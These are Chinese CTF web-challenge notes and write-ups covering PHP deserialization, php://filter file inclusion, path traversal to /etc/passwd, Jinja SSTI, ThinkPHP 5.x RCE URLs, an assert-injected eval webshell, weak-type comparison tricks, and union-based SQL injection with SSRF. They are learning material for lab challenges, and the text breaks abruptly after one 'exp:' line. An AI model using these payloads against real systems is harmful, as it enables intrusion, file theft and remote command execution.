php序列反序列

class xctf{
public $flag = ‘111’;
public function __wakeup(){
exit(‘bad requests’);
}
?code=

WP:

代码涵盖定义了xctf类、成员flag、魔术方法wakeup、以及末尾code待传参,wakeup在序列化时会优先于其他函数被调用,所以我们传参时要利用漏洞绕开,即使序列化字符串中表示对象属性的个数大于真实属性个数(3),可写为O:4:”xctf”:2:{S:4:”flag”;S:3:”111”;},以GET方式传参,url直接拼接

easyphp

1
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){  if(isset($b) && '8b184b' === substr(md5($b),-6,6)){    $key1 = 1;    }else{      die("Emmm...再想想");    }  }else{  die("Emmm...");}

首先三个函数:

isset($a):检查$a是否被定义且不为null intval($a):将$a转换为整数并检查是否是有效数字 strlen($a)<=3:检查$a字符串长度不超过3

采用科学计数法绕过长度限制,使用a=1e9

当$a满足条件,计算$b的MD5哈希值,并提取最后6个字符并检查这6个字符是否等于’8b184b’,使用PHP脚本进行暴力爆破得b=53724

```

若上述条件都成立代码执行$key1=1,表示条件检查通过

1
2
3
4
5
6
7
8
9
$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL; foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL; } $key2 = 1; }
else{ die("no hack"); }
}
else{ die("no");}

检查 $c 是否是一个有效数组

1
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){

$c需为数组,且存在m不为数字,但需大于2022,直接赋值m=2023a(php的弱类型)。当前$c=array(“m”=>’2023a’)

if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){

存在n为数组,n的值数量为2,n的第一个值为数组。得到$c=array(“m”=>’2023a’,”n”=>array(array(),0))

注:=> 是 PHP 中用于创建关联数组的运算符,表示键值对的分隔符。它将数组的键与对应的值连接起来,形成一个关联数组。

file_include(convert.iconv的使用)

1
<?phphighlight_file(__FILE__);  include("./check.php");  if(isset($_GET['filename'])){    $filename = $_GET['filename'];    include($filename);  }?>

存在文件包含,上伪协议

?filename=php://filter/read=convert.base64-encode/resource=./check.php

出现do not hack的字样,存在字符过滤

/?filename=php://filter/convert.iconv.utf8.utf16/resource=check.php

访问check.php文件里面的内容,进而访问flag.php文件拿到flag

知识点:

  1. file://协议,后面直接跟绝对路径

  2. php://filter

    (1)String Filters(字符串过滤器)

    php://filter/string.rot13/resource=flag.php //读出以后利用ROT13解码即可

    php://filter/string.toupper/resource=flag.php //转大写

    php://filter/string.tolower/resource=flag.php //转小写

    php://filter/string.strip_tags/resource=flag.php //php标签里所有东西都会被去除,html只有标签会被去除,里面的文字不会删除

    (2)Conversion Filters(转换过滤器)

    php://filter/convert.base64-encode/resource=flag.php //base64加密读出

    php://filter/convert.quoted-printable-encode/resource=flag.php

​ convert.iconv用法:

convert.iconv.<input-encoding>.<output-encoding>
convert.iconv.<input-encoding>/<output-encoding>

就是编码方式

​ (3)Compression Filters(压缩过滤器)

php://filter/zlib.deflate|zlib.inflate/resource=flag.php //zlib.deflate(压缩)zlib.inflate(解压)

php://filter/bzip2.compress|bzip2.decompress/resource=flag.php //bzip2.compress(压缩)|bzip2.decompress(解压)

  1. iconv函数

    完成各种字符集间的转换

fileinclude(php命令注入)

后端代码:

$lan = $_COOKIE['language']; if(!$lan) { @setcookie("language","english"); @include("english.php"); } else { @include($lan.".php"); }

代码审计:

设置了名为language的语言cookie,如果未设置,则将该 cookie 设置为”english”并包含”english.php”文件。如果 cookie 已经设置,则包含基于 cookie 值的 PHP 文件。

漏洞利用:

将名为 language 的 cookie 设置为 php://filter/read=convert.base64-encode/resource=flag,那么在执行到代码中的以下行时:$lan = $_COOKIE['language'];

代码会将该 cookie 的值作为 PHP 文件路径,并尝试读取该文件的内容,即readfile('php://filter/read=convert.base64-encode/resource=flag');从而读取到flag文件的内容

catcat-new

session(会话控制)

存储于服务器端的特殊对象,实现服务器数据共享。

以键值对形式进行存储,以key(字符串)-value(对象)进行存放

与cookie相似,但cookie保存在客户端、存放数据量小;session保存在服务端,相对安全

flask中的session伪造问题

原理:

flask是轻量级web框架,它的session是存储在客户端,是用户可见的,这也就是造成session伪造的根本原因。

flask通过一个secret_key,也就是密钥对数据进行签名来防止session被纂改

利用:

前提 得到session信息 并且 知道flask的签名的SECRET_KEY

要session伪造就必须拿到密钥 打源码打包下载 在config.py中找到密钥

任意文件读取漏洞

描述:

攻击者通过构造特殊的请求参数来绕过应用程序的访问控制,从而访问任意文件,包括密码文件、配置文件等

文件读取代码:

<?php

$filename = $_GET['file'];
if(isset($filename)){
readfile($filename);
}
?>

攻击者可以将路径遍历序列放入文件夹内,从当前位置向上回溯,从而浏览整个浏览器的任何文件。

漏洞验证:

Index.php?i=../../../../../../../../etc/passwd
Index.php?i=../index.php
Index.php?i=file:///etc/passwd

参数i的参数值为PHP文件时:

  1. 显示源代码,则是文件查看漏洞 。
  2. 文件被解析,则是文件包含漏洞。
  3. 提示下载附件,则是文件下载漏洞。

web2

php函数使用:

strlen() 函数返回字符串的长度

strrev() 反转字符串顺序

<?php
echo strrev("Hello World!");
?>

输出反转字符串 “!dlroW olleH”:

substr() 函数返回字符串的一部分。substr(string,start,length)

注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。

从字符串中返回 “world”:

ord() 函数返回字符串中第一个字符的 ASCII 值。

chr() 函数从指定 ASCII 值返回字符。并可以指定ASCII是十进制或是十六进制或是八进制。

“.” 是字符运算符,作用是把两个字符串连接起来,其使用方法:首先创建一个PHP示例文件;然后定义两个变量;最后通过“$result.$result”方式将两个变量连接起来即可

str_rot13() 函数对字符串执行 ROT13 编码。

ROT13 编码是把每一个字母在字母表中向前移动 13 个字母得到。数字和非字母字符保持不变。

Web_python_template_injection

(python模板注入)

  1. 输入表达式发现被执行证明存在ssti
  2. 通过python的对象的继承来一步步实现文件读取和命令执行

思路:找到父类<type ‘object’>–>寻找子类–>找关于命令执行或者文件操作的模块。

  1. 寻找可用的引用类payload:
1
"".__class__.__mro__[2].__subclasses__()
  1. 发现type’file’类,而且位置在数组第40
  2. 读取/etc/passwd文件

{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}

  1. 有一个 <class ‘site._Printer’>类型(可以进行命令执行),而且位置在数组第71
  2. 读取文件{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

Web_php_unserialize

四个魔术方法:

__construct() 函数,当类新建对象的时候会执行,例如,$x = new Demo(要传给函数的值)

__destruct() 函数,当对象销毁后会调用,拿上面的代码来说,新建对象后,会先执行

__wakeup() 函数,当执行反序列化函数的时候会先执行wakeup函数

highlight_file() 函数,用来输出指定PHP文件的代码

wakeup函数绕过方法:令序列化字符串中标识变量数量的值大于实际变量

两个重要常见的PHP函数

str_replace() 函数

用于替换字符串中的一些字符且区分大小写

比如把字符串 “kali linux” 中的字符 “linux” 替换成 “Windows”:

preg_match 函数

用于执行一个正则表达式匹配,每段正则表达式必须要有一对定界符,我们一般使用 / 为定界符。

$string  =  “kali linux” ;  

if  (preg_match( ‘/ka/‘ ,  $string )) {  

// 匹配正确  

}

Web_php_include

php伪协议

php:// 开头,后面跟着一些参数,用于指定 要执行的操作需要访问的资源

伪协议可看作是一种桥梁,允许使用常规的文件操作函数来处理不同的数据流。

php://input

允许访问POST请求的原始内容

strstr函数

用于查找一个字符串在另一个字符串中首次出现的位置。如果找到,它会返回从该位置开始到原字符串末尾的子串;如果没有找到,它会返回 false

代码审计

1
2
3
4
5
6
7
8
9
10
 <?php
show_source(__FILE__); //输出当前文件的内容,魔术常量__FILE__包含了当前脚本完整路径和文件名
echo $_GET['hello']; //输出url的hello GET参数中取得的值
$page=$_GET['page']; //从 URL 的 page GET参数中取得值,并将其赋值给 $page 变量
while (strstr($page, "php://"))
//使用 strstr 函数检查 $page 变量中是否包含 "php://" 字符串。如果是,则进入循环
{ $page=str_replace("php://", "", $page);}
//将$page 变量中的 "php://" 字符串替换为空字符串。即URL中的page参数包含"php://",会被删除。
include($page); //使用 include 函数来包含并执行 $page 变量指定的文件
?>

题解

  1. strstr区分大小写,大写绕过

    发送GET请求?page=PHP://input,bp抓包改包发送POST请求,查看当前目录下的文件夹

<?php system("ls"); ?>

  1. 找到可疑文件fl4gisisish3r3.php
  2. 直接改命令 cat fl4gisisish3r3.php得到flag

xff_referer

xff(X-Forwarded-For)

用于http请求头部中,以便在多个代理的情况下传递客户端的真实IP地址,追踪请求的来源

格式: client1, proxy1, proxy2(原始客户端ip,代理1,代理2)

referer

用于指示当前请求的来源URL。即,它告诉服务器请求是从哪个页面链接过来的。

command_execution(命令执行漏洞)

通过恶意代码或字符串,将其注入到web应用程序的输入参数中,使得远程执行系统命令

如下:

command1 & command2 :command1和command2都执行(也可将&换成;)

command1 && command2 :先执行command1执行成功后才会执行command2

command1 | command2 :只执行command2

command1 || command2 :command1执行失败,再执行command2

php_rce(ThinkPHP 5.x 远程命令执行漏洞)

漏洞简述

ThinkPHP5框架底层对控制器名过滤不严,可以通过url调用到ThinkPHP框架内部的敏感函数,进而导致getshell漏洞。

POC与EXP

“Proof of Concept”(概念验证),用来证明某个漏洞是可以被利用的

“Exploit”(利用),真正用于对目标系统的攻击,通过触发漏洞来达到攻击者的目的

如果说POC只是证明漏洞可利用,EXP则是把这个利用过程完善并且武器

Thinkphp框架判断

访问router.php文件

(thinkphp中必含有这个文件)

发送get1请求

访问 xxx/?s=a出现页面错误并显示thinkphp版本号

执行poc(构造url)

  1. 以利用system函数远程执行任意代码

http://127.0.0.1/index.php  //这里是测试环境的主页

    ?s=index/think\app/invokefunction //s变量是这个漏洞利用的主要变量
    &function=call_user_func_array //漏洞存在于这个函数中
    &vars[0]=system           //这里使用了system函数进行代码执行
    &vars[1][]=pwd           //在这里输入想要执行的代码,这里是显示当前文件的路径

  1. 利用phpinfo函数显示phpinfo

...
    &vars[0]=phpinfo            //使用phpinfo函数
    &vars[1][]=1              

题解

查看根目录下的文件

index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /

查看 flag目录下的文件

index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /flag

查看/flag文件得到flag

index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

mfw(GIT源码泄露)

git

Git是分布式版本控制系统(通俗来讲,git就是多名开发人员共同开发所使用的代码库)

原因

配置错误(敏感信息直接写入配置文件)、操作失误(敏感文件被添加到git或日志中)、公开仓库

工具使用

kali下githack,常见命令如下:

  1. 扫描目标 URL:

python GitHack.py http://example.com/.git/

  1. 下载泄漏的文件

python2 GitHack.py --url http://example.com/ --output

题解

查看About出现git考虑有git源码泄露

在url后加.git成功访问git文件夹,使用githack工具重建下载泄露的文件

image-20250410184423085

仅可查看的index.php重要代码部分如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
 <?php
// 参数接收
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}

// 处理接收到的参数并进行过滤
$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// 检测拼接后的文件是否包含 ..

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
// 检测待包含的文件是否存在
?>

<?php
// 执行文件包含 -> flag 是以 $FLAG = "" 的形式赋值的,要想输出,除非用 php 伪协议,但是在上面我们传入的 $page 会在前面拼接 templates/,所以这里使用 php 伪协议不能成功读取文件
require_once $file;
?>

assert函数存在命令执行漏洞

原函数:assert(“strpos(‘$file’, ‘..’) === false”)

​ 可控变量:$page

​ 最终执行的函数模板:strpos(‘templates/$page.php’, ‘..’) === false

 Payload :', '..') or phpinfo(); //
 拼接后的结果:strpos('templates/', '..') or phpinfo(); //.php', '..') === false

发现phpinfo页面

然后传入一句话木马 ?page=', '..') or eval($_REQUEST['hacker']); //

蚁剑连接后,成功找到flag

dsbctf

好玩的php

源码如下

<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfshow {
private $d = '';
private $s = '';
private $b = '';
private $ctf = '';

public function __destruct() {
$this->d = (string)$this->d;
$this->s = (string)$this->s;
$this->b = (string)$this->b;

if (($this->d != $this->s) && ($this->d != $this->b) && ($this->s != $this->b)) {
$dsb = $this->d.$this->s.$this->b;

​ //&dsb由&d,&s,&b拼接而成,且三个变量值两两不等

if ((strlen($dsb) <= 3) && (strlen($this->ctf) <= 3)) {

​ //拼接后得到的字符串&dsb长度和&ctf长度不超过3

if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) {
if (md5($dsb) === md5($this->ctf)) {

echo file_get_contents("/flag.txt");

​ //如果如果$ctf和$dsb不强等于,而MD5值相等,那么包含”/flag.txt”

} } }``}``}``}

unserialize($_GET["dsbctf"]);

代码逻辑:

传入参数dsbctf是序列化后的字符串,通过unserialize函数反序列化后调用__destruct方法实例化ctfshow类,触发序列化漏洞

PHP特殊浮点常量INF和NAN

INF表示无穷大,NAN表示非数值

利用

强等于”===”需要变量类型和变量值都相等

想要绕过拿到flag则需要二者类型不同,md5值相等

使用浮点常量INF分别给ctf和dsb变量赋值,dsb为字符串类型,ctf为浮点型;由于MD5是以字符串形式进行加密的,所以他们的MD5值是相等的,类型不相同,可绕过

exp:

'Home','buy.php'=>'Buy','account.php'=>'Account','market.php'=>'Claim Your Prize'];` 提示四个php文件分别指向网页首页的四个跳转页面 查看buy.php,在点击buy按钮后出现please wait字段前调用了buy.js ![image-20250413191745002](https://raw.githubusercontent.com/Apricityos/pic/main/202504131917182.png) 紧跟查看包含购买彩票阶段底层逻辑的buy.js文件 ![image-20250413192422010](https://raw.githubusercontent.com/Apricityos/pic/main/202504131924142.png) 以ajax方法(在浏览器不重新加载网页的情况下,对页面的某部分进行更新)来调用请求api.php文件 查看api.php文件 ![image-20250413194302297](https://raw.githubusercontent.com/Apricityos/pic/main/202504131943421.png) 重点`$numbers [$i] == $win_numbers [$i]`弱类型比较== 弱类型比较中true和除0以外的任何字符串都相等,0和false相等 可以考虑随便输入数字后抓包,构造一串数组 [true,true,true,true,true,true,true]传入 ![image-20250413200056963](https://raw.githubusercontent.com/Apricityos/pic/main/202504132000220.png) 多go几次让钱变多,能够买到flag # fakebook 进入登录界面,疑似sql注入漏洞,先在输入框中输入sql注入万能密码 (后台代码会拼接变成`SELECT * FROM users WHERE username='admin' AND password='' OR '1'='1';`) ![image-20250423204848210](https://raw.githubusercontent.com/Apricityos/pic/main/202504232048390.png) 登录失败,没用 进入join界面,用admin随便join一个,额,Blog is not valid.博客不存在 转用dirsearch进行目录爆破,发现几个信息 ![image-20250423205449503](https://raw.githubusercontent.com/Apricityos/pic/main/202504232054987.png) 先访问robot.txt看看,发现/user.php.bak备份文件路径 ![image-20250423210034299](https://raw.githubusercontent.com/Apricityos/pic/main/202504232100419.png) 注意到get方法中存在`curl_exec()`,可能这道题为ssrf漏洞利用 同时注意到isValidBlog()方法的正则匹配,判断出传入的blog参数值必须为url形式 输入符合格式的信息,成功join ![image-20250423211133948](https://raw.githubusercontent.com/Apricityos/pic/main/202504232111141.png) 从bak文件中发现age被强转为int,所以采用数字型注入 ![image-20250423211058531](https://raw.githubusercontent.com/Apricityos/pic/main/202504232110686.png) 报错,但是发现view.php文件的路径 输入?no=1 and 1=1回显正常,判断存在sql注入 order by 判断字段数 ?no=1 order by 5 ![image-20250423211830153](https://raw.githubusercontent.com/Apricityos/pic/main/202504232118303.png) 报错,推断字段数应该是4 使用union联合查询`?no=1 union select 1,2,3,database()` ![image-20250423212037364](https://raw.githubusercontent.com/Apricityos/pic/main/202504232120558.png) 看来是被过滤了 挨个字段进行审查,最后发现union和select均没有被过滤,但是两个加在一起就被过滤,所以采用`/**/`注释绕过`?no=-1 union/**/select 1,2,3,4` ![image-20250423212415633](https://raw.githubusercontent.com/Apricityos/pic/main/202504232124810.png) 成功绕过,发现username为回显位置,回显是2 查询数据库`?no=-1 union/**/select 1,database(),3,4`,回显是fakebook,即库名 爆库`?no=-1 union/**/select 1,group_concat(schema_name),3,4 from information_schema.schemata` 得到回显fakebook,information_schema,mysql,performance_schema,test 对fakebook数据库爆表,`?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"` 得到回显users 爆字段`?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="users"` 获得字段no,username,passwd,data 查数据`?no=-1 union/**/select 1,concat(no,"\n",username,"\n",passwd,"\n",data),3,4 from users` ![image-20250423213601710](C:\Users\Seven\AppData\Roaming\Typora\typora-user-images\image-20250423213601710.png) 注意到data字段里面的数据为刚刚我们join的数据的序列化形式 查看网站源代码发现使用的是iframe框架 ![image-20250423215314012](https://raw.githubusercontent.com/Apricityos/pic/main/202504232153104.png) 由前面view.php路径推断flag.php,ssrf访问文件可以用伪协议file://,把序列化字符串作为参数输入 测试,将blog值改flag.php文件路径**`file:///var/www/html/flag.php`**,长度为29 构造payload `?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'` 回显正常,查看源代码,发现base64编码字符串 ![image-20250423221406895](https://raw.githubusercontent.com/Apricityos/pic/main/202504232214986.png) 解码获得flag 貌似直接点击进去也可以 ![image-20250423221042027](https://raw.githubusercontent.com/Apricityos/pic/main/202504232210110.png)